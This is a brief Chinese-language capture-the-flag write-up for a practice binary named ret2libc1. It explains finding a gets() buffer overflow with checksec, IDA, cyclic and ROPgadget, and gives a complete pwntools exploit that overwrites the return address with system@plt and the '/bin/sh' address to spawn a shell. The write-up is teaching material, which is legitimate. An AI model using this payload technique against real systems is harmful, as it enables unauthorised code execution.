分析
- 通过checksec分析可知本题仅开启了NX保护,说明不能直接进行栈溢出把shell写在栈上然后执行
- 接着使用IDA进行反汇编对代码分析可知,该程序使用了gets函数对s数组进行输入,双击s可以发现其处于.bss段上(通过vmmap可知bss段可读可写可执行)
- 同时在IDA中发现了system.plt段地址
到此,思路明确,使用ret2libc来capture the flag
解题
在gdb中使用
cyclic 200
cyclic -l invaild_address
来获取偏移量
接着使用
ROPgadget --binary retlibc1 --string "/bin/sh"
获取/bin/sh地址
最后exploit.py如下
from pwn import *
context(arch = 'i386',os = 'linux')
p = process('./ret2libc1')
elf = ELF('./ret2libc1')
bss_addr = elf.bss()
gets_addr = 0x8048430
system_addr = 0x08048460
binsh_addr = 0x8048720
print("bss_addr = " + hex(bss_addr))
print("gets_addr = " + hex(gets_addr))
payload = b'a' * 112 + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)
gdb.attach(p)
p.interactive()